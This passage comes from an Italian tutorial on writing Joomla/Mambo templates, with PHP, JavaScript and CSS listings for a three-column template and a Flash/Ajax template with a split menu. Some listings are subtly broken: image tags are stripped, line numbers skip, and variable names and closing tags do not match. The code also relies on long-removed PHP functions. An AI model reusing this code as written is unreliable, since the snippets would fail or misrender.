4  echo '<?xml version="1.0" encoding="' . $iso[1] . '?' . '>';
5  ?>
6  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/ ↪
    ↪ xhtml1/DTD/xhtml1-transitional.dtd">
7  <html xmlns="http://www.w3.org/1999/xhtml">
8  <head>
9  <?php mosShowHead(); ?>
10 <?php
11 if ( $my->id ) {
12     initEditor ();
13 }
14 ?>
15 <meta http-equiv="Content-Type" content="text/html; <?php echo _ISO; ?>" />
16 <link href="<?php echo $mainframe->getCfg("live_site");?>/templates/NOMETMPL/css/template_css. ↪
    ↪ css" rel="stylesheet" type="text/css"/>
17 </head>
18 <body>
19 <table width="800">
20     <tr><td colspan='3'><?php mosLoadModules('top', 1);?></td></tr>
21     <tr>
22         <td><?php mosLoadModules('left');?></td>
23         <td><?php mosMainBody();?></td>
24         <td><?php mosLoadModules('right');?></td>
25     </tr>
26     <tr><td colspan='3'><?php mosLoadModules('bottom', 1);?></td></tr>
27     <tr>
28         <td colspan='3'><?php include_once($mainframe->getCfg("absolute_path") . '/includes/ ↪
    ↪ footer.php'); ?></td>
29     </tr>
30 </table>
31 <?php mosLoadModules('debug', -1);?>
32 </body>
33 </html>

```

Da salvare con il nome `index.php` nella directory dei template, `templates/NOME_TEMPLATE`, unitamente ad eventuali fogli di stile (directory `templates/NOME_TEMPLATE/css`) e ad eventuali immagini di supporto (directory `templates/NOME_TEMPLATE/images`).

5 Esempi pratici

Vediamo alcuni esempi completi di template. Tutti i file che vengono presentati vanno inclusi in un archivio ZIP o TGZ per poi essere installati all'interno di Joomla, attraverso il menu *Installazioni* → *Template - sito*.

5.1 Template a tre colonne

Questo semplice esempio mostra alcuni meccanismi che è possibile utilizzare per rendere i propri template un pò più dinamici. Non verrà fatto uso di alcun foglio di stile, per focalizzare l'attenzione sugli aspetti tecnici.

Si tratta di un template a 3 colonne analogamente all'esempio visto precedentemente.

```

1 <?php
2     defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
3     $iso = split( '=', _ISO );
4     echo '<?xml version="1.0" encoding="'. $iso[1] .'?' . '>';
5 ?>
6 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/
7     ↪ xhtml1/DTD/xhtml1-transitional.dtd">
8 <html xmlns="http://www.w3.org/1999/xhtml">
9 <head>
10 <?php mosShowHead(); ?>
11 <?php
12     if($my->id) {
13         initEditor();
14     }
15 ?>
16 <meta http-equiv="Content-Type" content="text/html; <?php echo _ISO; ?>" />
17 </head>
18 <body>
19 <table width="800">
20 <?php
21     // se nel blocco top sono pubblicati dei moduli, viene visualizzato
22     if(mosCountModules("top") > 0) {
23 ?>
24     <tr><td colspan='100%'><?php mosLoadModules('top', 1);?></td></tr>
25 <?php
26     }
27     // almeno uno dei 2 blocchi contiene qualche modulo; altrimenti non viene
28     // visualizzato nulla
29     if(mosCountModules("user1") + mosCountModules("user2") > 0) {
30         // se il blocco user1 non ha moduli, visualizzo solo il blocco user2
31         if(mosCountModules("user1") <= 0) {
32 ?>
33         <tr><td colspan='100%'><?php mosLoadModules('user2', 1);?></td></tr>
34 <?php
35     }
36     // se il blocco user2 non ha moduli, visualizzo solo il blocco user1

```

```

37     else if(mosCountModules("user2") <= 0) {
38     ?>
39     <tr><td colspan='100%'><?php mosLoadModules('user1', 1);?></td></tr>
40 <?php
41     }
42     // altrimenti li visualizzo entrambi, uno di fianco all'altro
43     else {
44     ?>
45     <tr>
46     <td colspan='100%'><table width='100%'>
47     <tr><td width='50%'><?php mosLoadModules('user1', 1);?></td>
48     <td width='50%'><?php mosLoadModules('user2', 1);?></td></tr>
49     </table></td>
50 </tr>
51 <?php
52     }
53     }
54 ?>
55 <tr>
56 <td><?php mosLoadModules('left');?></td>
57 <td><?php mosMainBody();?></td>
58 <td><?php mosLoadModules('right');?></td>
59 </tr>
60 <tr><td colspan='100%'><?php mosLoadModules('bottom', 1);?></td></tr>
61 <tr><td colspan='100%'><?php include_once($mainframe->getCfg("absolute_path") . '/includes ←
    ← /footer.php'); ?></td></tr>
62 </table>
63 <?php mosLoadModules('debug', -1);?>
64 </body>
65 </html>

```

Listato 98: Esempio Template a tre colonne - index.php

La difficoltà di questo esempio sta nell'uso della funzione `mosCountModules()` che *conta* il numero di moduli che sono pubblicati nel blocco passato come argomento.

Questa utile funzione può essere utilizzata per evitare di visualizzare il codice HTML relativo ad un blocco vuoto, che potrebbe portare ad un peggioramento del layout grafico.

5.2 Template Flash e Ajax

La particolarità di questo template è data dal menu orizzontale, dall'animazione in Flash al posto del logo ed all'utilizzo del framework Ajax. I file principali di questo template sono:

1. index.php
2. splitmenu.php
3. loader.js
4. TemplateDetails.xml
5. template_thumbnail.png
6. favicon.ico

7. animazione.swf
8. css/template_css.css
9. css/loader.css

e la cartella /images/ contenente tutte le immagini.

File index.php

Il file index.php rappresenta il layout del template:

```

1 <?php
2 defined( ' _VALID_MOS ' ) or die( 'Direct Access to this location is not allowed.' );
3 $iso = split( '=', _ISO );
4 echo '<?xml version="1.0" encoding="' . $iso[1] . '?' . '>';?>
5 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/
   ↳ xhtml1-transitional.dtd">
6 <html xmlns="http://www.w3.org/1999/xhtml">
7 <head>
8   <?php if ( $my->id ) initEditor();?>
9   <?php include($GLOBALS['mosConfig_absolute_path'] . '/templates/template2/splitmenu.php');?> <!--
   ↳ Questo file serve per includere la funzione menu orizzontale -->
10  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
11  <?php mosShowHead();?>
12  <link rel="stylesheet" type="text/css" href="<?php echo "$GLOBALS['mosConfig_live_site'] / templates /
   ↳ $GLOBALS['cur_template'] / css / template_css.css";?>" /> <!-- Foglio di stile del template -->
13  <link rel="shortcut icon" href="<?php echo "$GLOBALS['mosConfig_live_site'] / templates / $GLOBALS['
   ↳ cur_template'] / favicon.ico";?>" />
14  <?php echo "<link rel='stylesheet' href='templates / $GLOBALS['cur_template'] / css / loader.css\"
   ↳ type='text/css'";?> <!-- Foglio di stile della animazione preload in ajax -->
15  <?php echo "<script type='text/javascript' src='templates / $cur_template / loader.js\"></script\"";
   ↳ ?> <!-- File JS, per l'animazione ajax -->
16 </head>
17
18 <body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="
   ↳ remove_loading();"> <!-- la funzione onload, serve per rimuovere l'animazione preload, quando la
   ↳ pagina è caricata -->
19 <div id="loader_container"> <!-- Inserimento della animazione ajax -->
20   <div id="loader">
21     <div align="center">Site Loading ...</div>
22     <div id="loader_bg"><div id="progress"> </div></div>
23   </div>
24 </div>
25 <table width="760" border="0" align="center" cellpadding="0" cellspacing="0">
26   <tr></tr>
27   <tr><td></td></tr>
28 </table>
29
30 <table width="760" height="" border="0" align="center" cellpadding="0" cellspacing="0">
31 <tbody>
32 <tr>
33   <td>left_top_corner.gif" width="3" height="3"></td>
34   <td bgcolor="#e2e1dc">t.gif" width="1" height="1"></td>
35   <td>right_top_corner.gif" width="3" height="3"></td>
36 </tr>
37 <tr>
38   <td width="1" bgcolor="#e2e1dc"></td>
39   <td valign="top" bgcolor="#FFFFFF">
40   <!-- Image Header flash --><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="
   ↳ http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0" width="
   ↳ "100%" height="175">

```

```

41 <param name="flash_component" value="ImageViewer.swc">
42 <param name="movie" value="<?php echo "$GLOBALS['mosConfig_live_site']/templates/$GLOBALS['
    ↳ cur_template']/" ; ?>animazione.swf">
43 <param name="quality" value="high">
44 <embed src="<?php echo "$GLOBALS['mosConfig_live_site']/templates/$GLOBALS['cur_template']/" ; ?>
    ↳ animazione.swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/
    ↳ index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="100%"
    ↳ height="175"></embed>
45 </object> <!-- Inserimento di animazione flash -->
46
47 <table width="100%" border="0" cellpadding="0" cellspacing="0">
48 <tr><td height="2" bgcolor="#e2e1dc">spacer.gif" width="750" height="1"></td
    ↳ ></tr>
49 <tr><td background="<?php echo "$GLOBALS['mosConfig_live_site']/templates/$GLOBALS['
    ↳ cur_template']/images/" ; ?>bar.jpg"><!-- Nav Two Top Module--></td></tr>
50 <tr><td bgcolor="#e2e1dc" height="2">spacer.gif" width="650" height="1"><br
    ↳ />
51 <div><?php echo $mycssPSPLITmenu.content; ?></div> <!-- Codice per abilitare il menu, nella
    ↳ posizione prefissata --></td></tr>
52 </table>
53
54 <table width="100%" border="0" cellpadding="0" cellspacing="0">
55 <tr><td width="72%">
56 <table width="100%" border="0" cellpadding="0" cellspacing="0">
57 <tr>
58 <td width="146" valign="top" bgcolor="#FFFFFF"><form action="index.php" method="post">
59 <input class="inputbox" type="text" name="searchword" size="15" value="<?php echo
    ↳ _SEARCH_BOX; ?>" onblur="if(this.value=='') this.value='<?php echo _SEARCH_BOX;
    ↳ ?>';" onfocus="if(this.value=='<?php echo _SEARCH_BOX; ?>') this.value='';" />
60 <input type="hidden" name="option" value="search" />
61 </form>
62 <?php if (mosCountModules('left')>0) mosLoadModules('left','true'); ?>
63 <?php if (mosCountModules('user1')>0) mosLoadModules('user1','true'); ?>
64 <?php if (mosCountModules('user2')>0) mosLoadModules('user2','true'); ?><!-- Main Menu
    ↳ --></td>
65 <td width="1" valign="top" background="<?php echo "$GLOBALS['mosConfig_live_site']/
    ↳ templates/$GLOBALS['cur_template']/images/" ; ?>dashg.gif">dashg.gif" width="5" /> </td>
66 <td width="100%" valign="top"><!-- Pathway --><?php mosPathWay(); ?>
67 <br />
68 <div align="center"><br />
69 <!-- Banner --><?php if (mosCountModules('banner')>0) mosLoadModules('banner','
    ↳ true'); ?>
70 <br />
71 <!-- Main body --><?php mosMainBody(); ?>
72 <br />
73 </div>
74 <br />
75 <!-- Bottom --><center><?php if (mosCountModules('bottom')>0) mosLoadModules('bottom
    ↳ ', 'true'); ?></center>
76 </td>
77 <td width="1" valign="top" background="<?php echo "$GLOBALS['mosConfig_live_site']/
    ↳ templates/$GLOBALS['cur_template']/images/" ; ?>dashg.gif">dashg.gif" width="1" /> </td>
78 <td width="136" align="center" valign="top" bgcolor="#FFFFFF"><?php if (mosCountModules(
    ↳ 'right')>0) mosLoadModules('right','true'); ?></td>
79 </tr>
80 </table>
81 </td></tr>
82 <tr><td background="<?php echo "$GLOBALS['mosConfig_live_site']/templates/$GLOBALS['
    ↳ cur_template']/images/" ; ?>bbar.jpg">
83 <!-- Footer Nav --><center></center>

```

```

84     </td></tr>
85 </table>
86 </td>
87 <td width="1" bgcolor="#e2e1dc"></td>
88 </tr>
89 <tr>
90 <td>
94 </tbody>
95 </table>
96
97 <!--Footer -->
98 <p><?php include_once('includes/footer.php'); ?></p>
99 </body>
100 </html>

```

Listato 99: Esempio Template Flash e Ajax - index.php

File splitmenu.php

Il file `splitmenu.php` serve per creare il menu orizzontale prendendo le voci dal menu `mainmenu`, ma si può anche decidere di usare un altro menu, ad esempio uno creato dall'utente:

```

1 <?php
2 /* mysplitcssmenu.php based on mod_mainmenu.class.php,v 1.13 */
3 /* $Id: mod_mainmenu.class.php,v 1.13 2004/01/13 20:36:55 ronbakker Exp $ */
4 /**
5  * Menu handling functions
6  * @package Mambo Open Source
7  * @Copyright (C) 2000 - 2003 Miro International Pty Ltd
8  * @ All rights reserved
9  * @ Mambo Open Source is Free Software
10 * @ Released under GNU/GPL License : http://www.gnu.org/copyleft/gpl.html
11 * @version $Revision: 1.13 $
12 **/
13
14 defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );
15
16 if ( defined( '_VALID_MYSPLITCSSMENU' ) ) return;
17
18 /* Menu List */
19 global $database, $my, $cur_template, $Itemid;
20 global $mosConfig_absolute_path, $mosConfig_live_site, $mosConfig_shownoauth;
21
22 $menutype = @$params->menutype ? $params->menutype : 'mainmenu'; // da quale menu prendere le voci
23 $class_sfx = @$params->class_suffix ? $params->class_suffix : '';
24
25 $mycssSSPLITmenu_content = "\n."<div id="subnavcontainer">';
26 $mycssPSPLITmenu_content = "<div id="navcontainer">';
27 $mycssPATHmenu_content = "";
28
29 /* If a user has signed in, get their user type */
30 $intUserType = 0;
31 if ($my->gid){
32     switch ($my->usertype){
33         case 'Super Administrator':
34             $intUserType = 0;
35             break;
36         case 'Administrator':

```

```

37     $intUserType = 1;
38     break;
39     case 'Editor':
40         $intUserType = 2;
41         break;
42     case 'Registered':
43         $intUserType = 3;
44         break;
45     case 'Author':
46         $intUserType = 4;
47         break;
48     case 'Publisher':
49         $intUserType = 5;
50         break;
51     case 'Manager':
52         $intUserType = 6;
53         break;
54 }
55 }
56 else{
57     /* user isn't logged in so make their usertype 0 */
58     $intUserType = 0;
59 }
60
61 if ($mosConfig_shownoauth) {
62     $sql = "SELECT m.* FROM #__menu AS m"
63         . "\nWHERE menutype='$menutype' AND published='1'"
64         . "\nORDER BY parent,ordering";
65 }
66 else {
67     $sql = "SELECT m.* FROM #__menu AS m"
68         . "\nWHERE menutype='$menutype' AND published='1' AND access <= '$my->gid'"
69         . "\nORDER BY parent,ordering";
70 }
71 $database->setQuery($sql);
72
73 $rows = $database->loadObjectList('id');
74 echo $database->getErrorMsg();
75
76 // establish the hierarchy of the menu
77 $children = array();
78 // first pass - collect children
79 foreach ($rows as $v) {
80     $pt = $v->parent;
81     $list = @$children[$pt] ? $children[$pt] : array();
82     array_push( $list, $v );
83     $children[$pt] = $list;
84 }
85
86 // second pass - collect 'open' menus
87 $open = array( $Itemid );
88 $count = 20; // maximum levels - to prevent runaway loop
89 $x_id = $Itemid;
90 while (--$count) {
91     if (isset($rows[$x_id]) && $rows[$x_id]->parent > 0) {
92         $x_id = $rows[$x_id]->parent;
93         $open[] = $x_id;
94     }
95     else {
96         break;
97     }
98 }
99 cssSPLITRecurseMenu( 0, 0, $children, $open, $class_sfx, $mycssSSPLITmenu_content, $mycssPSPLITmenu_content, ↵
    ↵ $mycssPATHmenu_content );
100
101 $mycssSSPLITmenu_content .= "\n</div>\n";

```

```

102 $mycssPSPLITmenu_content .= "\n<div>\n";
103 $mycssPATHmenu_content = substr($mycssPATHmenu_content,0,strlen($mycssPATHmenu_content)-4);
104
105
106 define( '_VALID_MYSPLITCSSMENU', true );
107 /* Utility function to recursively work through a hierarchical menu */
108 function cssSPLITRecurseMenu( $p_id, $level, &$children, &$open, $class_sfx, &$navVIR_cont, &$navHOR_cont, &↵
↵ $navPATH_cont) {
109     global $Itemid;
110     if (@$children[$p_id]) {
111         if ($level){
112             $navVIR_cont .= "\n".<ul id="subnavlist">';
113         } else{
114             $navHOR_cont .= "\n".<ul id="navlist">';
115         }
116
117         foreach ($children[$p_id] as $row) {
118             $hidclass = '';
119             $vidclass = '';
120
121             if (!$level){
122                 $navHOR_cont .= "\n<li";
123             } else{
124                 $navVIR_cont .= "\n<li";
125             }
126             if ($Itemid == $row->id){
127                 if ($level) {
128                     $navVIR_cont .= ' id="active"';
129                     $vidclass = 'id="subcurrent"';
130                 } else{
131                     $navHOR_cont .= ' id="active"';
132                     $hidclass = 'id="current"';
133                 }
134             } else{
135                 if ($level){
136                     $navVIR_cont .= ' id="active"';
137                 }
138             }
139             if (!$level){
140                 $navHOR_cont .= ">";
141             } else{
142                 $navVIR_cont .= '>';
143             }
144             if (in_array( $row->id, $open )){
145                 $navPATH_cont .= $row->name . ' :: ';
146             }
147             if (!$level){
148                 $navLink = cssSPLITGetMenuLink( $row, $level, $class_sfx, $hidclass);
149                 $navHOR_cont .= $navLink.</li>';
150             } else{
151                 $navLink = cssSPLITGetMenuLink( $row, $level, $class_sfx, $vidclass);
152                 $navVIR_cont .= $navLink.</li>';
153             }
154             if (in_array( $row->id, $open )) {
155                 cssSPLITRecurseMenu( $row->id, $level+1, $children, $open, $class_sfx, $navVIR_cont, $navHOR_cont, ↵
↵ $navPATH_cont);
156             }
157         }
158
159         if (!$level){
160             $navHOR_cont .= "\n</ul>";
161         } else{
162             $navVIR_cont .= "\n</ul>";
163         }
164     }
165 }

```



```

166
167
168 /* Utility function for writing a menu link */
169 function cssSPLITGetMenuLink( $mitem, $level=0, $class_sfx='', $idclass='') {
170     global $Itemid, $mosConfig_live_site;
171     $txt = '';
172
173     switch ($mitem->type) {
174         case 'separator':
175             // do nothing
176             break;
177         case 'url':
178             if (eregi( "index.php\?", $mitem->link )) {
179                 // $mitem->link .= "&Returnid=$Itemid";
180                 if (!eregi( "Itemid=", $mitem->link ))
181                     $mitem->link .= "&Itemid=$mitem->id";
182             }
183             break;
184         default:
185             $mitem->link .= "&Itemid=$mitem->id";
186             break;
187     }
188     // $mitem->link .= "&ytw=ytw_splitmenu";
189
190     $mitem->link = str_replace( '&', '&amp;', $mitem->link );
191
192     if (strcasecmp(substr($mitem->link,0,4),"http") {
193         $mitem->link = sefRelToAbs($mitem->link);
194     }
195
196     $menuclass = "mainlevel$class_sfx";
197     if ($level > 0) {
198         $menuclass = "sublevel$class_sfx";
199     }
200     $menuclass = "images";
201
202     switch ($mitem->browserNav) {
203         // cases are slightly different
204         case 1:
205             // open in a new window
206             $txt = "<a href=\"$mitem->link\" target=\"_window\" class=\"$menuclass\" $idclass>$mitem->
↳
↳ name</a>";
207             break;
208         case 2:
209             // open in a popup window
210             $txt = "<a href=\"#\" onClick=\"javascript: window.open('$mitem->link', '', 'toolbar=no,
↳
↳ location=no,status=no,menubar=no,scrollbars=yes,resizable=yes,width=780,height=550')
↳
↳ ; return false\" class=\"$menuclass\" $idclass>$mitem->name</a>";
211             break;
212         case 3:
213             // don't link it
214             $txt = "<span class=\"$menuclass\" $idclass>$mitem->name</span>";
215             break;
216         default: // formerly case 2
217             // open in parent window
218             $txt = "<a href=\"$mitem->link\" class=\"$menuclass\" $idclass>$mitem->name</a>";
219             break;
220     }
221
222     return $txt;
223 }
224 ?>

```

Listato 100: Esempio Template Flash e Ajax - splitmenu.php

File loader.js

Il file `loader.js` per creare l'animazione di preload:

```

1 var t_id = setInterval(animate,20);
2 var pos=0;
3 var dir=2;
4 var len=0;
5 function animate()
6 {
7     var elem = document.getElementById('progress');
8     if(elem != null) {
9         if (pos==0) len += dir;
10        if (len>32 || pos>79) pos += dir;
11        if (pos>79) len -= dir;
12        if (pos>79 && len==0) pos=0;
13        elem.style.left = pos;
14        elem.style.width = len;
15    }
16 }
17 function remove_loading() {
18     this.clearInterval(t_id);
19     var targelem = document.getElementById('loader_container');
20     targelem.style.display='none';
21     targelem.style.visibility='hidden';
22 }

```

Listato 101: Esempio Template Flash e Ajax - loader.js

File template.css.css

Il file `template.css.css` è il foglio di stile del template:

```

1 /* ##### GENERAL SETTINGS ##### */
2 body {
3     margin: 0px;
4     font-family: Arial, Helvetica, sans-serif;
5     font-size: 11px;
6     color: #333;
7     background: #F5F5F5;
8 }
9 table,td {font-size: 11px;}
10 a:link, a:visited {
11     font-size: 11px;
12     color: #0066CC;
13     text-decoration: none;
14     font-weight: bold;
15 }
16 a:hover {
17     font-size: 11px;
18     color: #333333;
19     text-decoration: none;
20     font-weight: bold;
21 }
22 form {
23     margin: 0px;
24     padding: 0px;
25 }
26 image{
27     border: 0px;
28 }
29 /* ##### NAVIGATION ##### */
30 .mainlevel {
31     display: block;

```

```

32 border-bottom: 1px dotted #C0C0C0;
33 width: 140px;
34 margin-left: 5px;
35 }
36 a.mainlevel:link, a.mainlevel:visited {
37 text-decoration: none;
38 }
39 a.mainlevel:hover {
40 background: #DDEEFF;
41 text-decoration: none;
42 }
43 .sublevel {
44 font-size: 10px;
45 margin-left: 5px;
46 }
47 /* ##### SEARCH ##### */
48 .search {}
49 /* Highlight Found Words*/
50 .highlight {
51 border: 1px dashed #010101;
52 background: #DDEEFF;
53 padding: 0px 2px 0px 2px;
54 }
55 /* ##### PATHWAY ##### */
56 .pathway {
57 font-family: Arial, Helvetica, sans-serif;
58 font-size: 11px;
59 color: #333;
60 }
61 a.pathway:link, a.pathway:visited {
62 font-size: 11px;
63 color: #0066CC;
64 text-decoration: none;
65 }
66 a.pathway:hover {
67 font-size: 11px;
68 color: #333333;
69 text-decoration: none;
70 }
71 /* ##### STANDARD MODULE ##### */
72 table.moduletable {
73 width: 150px;
74 }
75 table.moduletable th {
76 font-size: 11px;
77 font-weight: normal;
78 text-transform: uppercase;
79 text-align: center;
80 letter-spacing: 1px;
81 color: #999;
82 background: url(../images/mshade.png) #F0F0F0 repeat-x 0px 0px;
83 border-bottom: 1px solid #D0D0D0;
84 border-top: 1px solid #D0D0D0;
85 }
86 table.moduletable td {
87 padding: 2px;
88 }
89 /* ##### LOGIN MODULE ##### */
90 table.moduletable-login {
91 width: 150px;
92 table-layout: auto;
93 }
94 table.moduletable-login th {
95 font-size : 11px;
96 font-weight : normal;
97 text-transform : uppercase;

```

```

98 text-align      : center;
99 letter-spacing : 1px;
100 color          : #999;
101 background     : url (../images/mshade.png) #F0F0F0 repeat-x 0px 0px;
102 border-bottom  : 1px solid #D0D0D0;
103 border-top     : 1px solid #D0D0D0;
104 }
105 table.module-table-login td {
106 padding-left   : 0px;
107 padding-right  : 0px;
108 text-indent    : 8px;
109 text-align     : center;
110 background-color: White;
111 }
112 /* ##### CONTENT ##### */
113 /* Page titles container Box */
114 .contentheading {
115 width: 100%;
116 font-size: 12px;
117 font-weight: bold;
118 font-family: arial,sans-serif;
119 color: Black;
120 background: White;
121 text-align: left;
122 margin: 1px;
123 padding: 1px;
124 border-bottom-width: 1px;
125 border-bottom-color: #DDDDDD;
126 border-bottom-style: dashed;
127 }
128 /* Page Titles */
129 .contentpagetitle { background-color : White; }
130 a.contentpagetitle h1,
131 a.contentpagetitle :link,
132 a.contentpagetitle :visited,
133 a.contentpagetitle :active {
134 text-decoration: none;
135 font-weight: normal;
136 color: Black;
137 border-bottom: 0px;}
138 a.contentpagetitle :hover {
139 color: Black;
140 border-bottom: 0px dashed #CCCCCC;
141 text-decoration: none;
142 }
143 /* Component heading links, blogs and Faq's ..etc box */
144 .componentheading {
145 font-size: 13px;
146 font-weight: bold;
147 color: Black;
148 text-align: left;
149 margin: 0px;
150 background-color: White;
151 }
152 /* Styling for the pdf/email/print icons */
153 .buttonheading { }
154 /* POP Window */
155 a.pop-up {border-bottom: 0;}
156 .pop-ups {float: right;}
157 /* Main Body Content rating & voting */
158 .content_rating {
159 font-weight: normal;
160 font-size: 10px;
161 }
162 .content_vote {
163 font-weight: normal;

```

```

164     font-size: 10px;
165 }
166 /* Author Name */
167 .small {color: Black;}
168 /* Date Stamps */
169 .newsfeeddate {
170     font-family: arial, Helvetica, sans-serif;
171     font-size: 10px;
172     color: #FF6600;
173     font-weight: normal;
174 }
175 .createdate {
176     color: Black;
177     font-size: 10px;
178     font-weight: normal;
179     line-height: 1;
180 }
181 .modifydate {
182     font-family: arial, Helvetica, sans-serif;
183     font-size: 10px;
184     color: Black;
185     text-decoration: none;
186     font-weight: normal;
187 }
188 /* Description Component Container Box News, Faq and Links ..etc */
189 .contentdescription {background-color : White;}
190 /* Component Container Box News, Faq and links ..etc */
191 .contentpane {background: White;}
192 /* Center content main body text static text, blog ..etc */
193 .contentpaneopen {
194     font-family: Arial, Helvetica, sans-serif;
195     font-size: 11px; color: Black;
196     background-color: White;
197 }
198 /* Main Body bullets List */
199 .contentpaneopen li {}
200 .contentpaneopen ul {}
201 /* Main Body Page Navigation */
202 .pagenav {}
203 a.pagenav {color: #CCCCCC; border-bottom: 0;}
204 a.pagenav:hover {color: #666666; border-bottom: 0;}
205 .pagenavcounter {}
206 .readon {}
207 .back.button {}
208 /*##### COMPONENTS #####*/
209 /* Article Index Static Pages Component */
210 table.contenttoc {
211     width: 150px;
212     border: 1px solid #ddd;
213     background: none;
214     border-collapse: collapse;
215     padding: 0px;
216     margin: 2px;
217 }
218 table.contenttoc th {
219     background-color: #DDEEFF;
220     font-weight: bold;
221 }
222 table.contenttoc td {
223     padding: 2px;
224 }
225 a.toclink:hover,
226 a.toclink:visited,
227 a.toclink:link {}
228 /* Table category lists Header and Foot */
229 .sectiontableheader {

```

```

230     background-color : #D3D3D3;
231     color : Black;;
232     font-weight : bold;
233     border-collapse: collapse;
234     font-family: Arial, Helvetica, sans-serif;
235     font-size: 11px;
236 }
237 .sectiontablefooter {}
238 /* odd & even row colors example polls and links components */
239 .sectiontableentry1 {
240     background-color : #FFFFFF;
241     font-family: Arial, Helvetica, sans-serif;
242     font-size: 11px;
243 }
244 .sectiontableentry2 {
245     background-color : #EBEBEB;
246     font-family: Arial, Helvetica, sans-serif;
247     font-size: 11px;
248 }
249 /* category text format and links Component or news feeds by category */
250 .category {
251     font-family: Arial, Helvetica, sans-serif;
252     font-size: 11px;
253     color:Black;
254 }
255 a.category:link,a.category:visited {}
256 a.category:hover {}
257 /* Blog Component */
258 .blogsection{}
259 .blog_more{}
260 .blog_heading {}
261 /* Contact Form Component */
262 .contact-form {
263     width: 100%;
264 }
265 .contact_email {margin: 0px;
266     padding: 10px;
267 }
268 /* Note: See poll_bars.css in components/com_poll folder! */
269 .poll {
270     font-family: arial, Helvetica, sans-serif;
271     font-size: 10px;
272     color: #666666;
273     line-height: 14px
274 }
275 pollstableborder{ border: 20px solid #999999; }
276 .smalldark {color: Black; line-height: 1;}
277 /* syndicate component */
278 .syndicate{}
279 .syndicate_text{}
280 /* ##### FORM OBJECTS ##### */
281 .inputbox {
282     font-family: arial, Helvetica, sans-serif;
283     font-style: normal;
284     font-weight: normal;
285     font-size: 10px;
286     background: White;
287     border: 1px solid #999;
288     margin-left: 10px;
289 }
290 .selectbox {
291     font-family: arial, Helvetica, sans-serif;
292     font-style: normal;
293     font-weight: normal;
294     font-size: 10px;
295     background: #FFFEE0;

```

```

296     width: 100%;
297     border: 1px solid #999;
298 }
299 .button {
300     font-size: 10px;
301     background: #FFFE0;
302     border: 1px solid #999;
303 }
304 /* No need to edit */
305 /* ##### AFTER LOGIN EDITING FORMS ##### */
306 /* ##### TABBED EDITING ##### */
307 /* When user logins to edit or submit articles */
308 /* for modifying {moscode} output. Don't set the colour! */
309 .moscode {background-color: #f0f0f0;}
310 .code {
311     font-family: courier, serif;
312     font-size: 10px;
313     padding: 2px;
314     line-height: 1.3em;
315     background-color: #f0f0f0;
316     color: blue;
317     border: 1px solid #d5d5d5;
318     margin: 0px;
319     width: 90%;
320 }
321 /* Text passed with mosmsg url parameter */
322 .message {
323     font-family : arial , Helvetica, sans-serif;
324     font-weight: bold;
325     font-size : 10px;
326     color : Black;
327     text-align: center;
328 }
329 /* Styles for dhtml tabbed-pages */
330 .ontab {
331     background-color: #666666;
332     border-left: outset 1px #666;
333     border-right: outset 1px Black;
334     border-top: outset 1px #666;
335     border-bottom: solid 1px Black;
336     text-align: center;
337     cursor: default;
338     font-weight: bold;
339     color: #FFFFFF;
340     padding: .2em;
341 }
342 .offtab {
343     background-color : #cccccc;
344     border-left: outset 1px #666;
345     border-right: outset 1px Black;
346     border-top: outset 1px #666;
347     border-bottom: solid 1px Black;
348     text-align: center;
349     cursor: default;
350     font-weight: normal;
351     padding: 1px;
352 }
353 .edit-tabs {
354     padding: 9px;
355     background: none;
356 }
357 .tabpadding {}
358 .tabheading {
359     background-color: #FF6600;
360     text-align: left ;
361 }

```

```

362 .pagetext {
363     visibility : hidden;
364     display: none;
365 }
366 /*Body of the form*/
367 .adminform{background-color : #FFFFFF;}
368 #navcontainer {
369     font-family    : Arial, Helvetica, sans-serif;
370     font-size      : 12px;
371     margin         : 0px 0px 0px 0px;
372     padding        : 0px 0px 0px 0px;
373     width          : auto;
374     height         : 28px;
375 }
376 #navlist {
377     margin         : 0px;
378     padding        : 0px 0px 0px 0px;
379 }
380 #navlist ul, #navlist li {
381     display        : inline ;
382     list-style-type : none;
383 }
384 #navlist a:link, #navlist a:visited {
385     border-right   : 1px solid #cccccc;
386     padding        : 5px 10px 5px 10px;
387     float          : left ;
388     font-weight    : bold;
389     line-height    : 14px;
390     margin         : 0px;
391     text-decoration : none;
392     color          : #333333;
393 }
394 #navlist a:link#current, #navlist a:visited#current, #navlist a:hover {
395     color          : #0066FF;
396 }
397 #navlist a:hover {
398     color          : #0066FF;
399 }
400 #subbox {
401     font-family    : Arial, Helvetica, sans-serif;
402     font-size      : 10px;
403     height         : 18px;
404     width          : auto;
405 }
406 #subnavlist {
407     margin         : 0px;
408     padding        : 0px;
409 }
410 #subnavlist ul, #subnavlist li {
411     margin         : 0px;
412     padding        : 0px;
413     display        : inline ;
414     list-style-type : none;
415 }
416 #subnavlist a:link, #subnavlist a:visited {
417     float          : left ;
418     font-weight    : normal;
419     line-height    : 16px;
420     padding        : 0px 0px 0px 18px;
421     text-decoration : none;
422     color          : #99CCFF;
423     background     : url(../images/line.gif) no-repeat 9px 3px;
424 }
425 #subnavlist a:link#subcurrent, #subnavlist a:visited#subcurrent, #subnavlist a:hover {
426     color          : #FFF;
427 }

```



```
428 a.sublevel:link, a.sublevel:visited {
429     padding-left    : 10px;
430     vertical-align  : middle;
431     font-size       : 11px;
432     font-weight     : bold;
433     color           : #003366;
434     text-align      : left ;
435 }
436 a.sublevel:hover {
437     color           : #0066FF;
438     text-decoration : none;
439 }
```

Listato 102: Esempio Template Flash e Ajax - `template_css.css`

File loader.css

Il file `loader.css` è il foglio di stile per l'animazione in Ajax:

```
1  #interface1 {
2      z-index:100;
3  }
4  #loader_container {
5      text-align:center;
6      position:absolute;
7      top:40%;
8      width:100%;
9  }
10 #loader {
11     font-family:Tahoma, Helvetica, sans;
12     font-size:11px;
13     color:#000000;
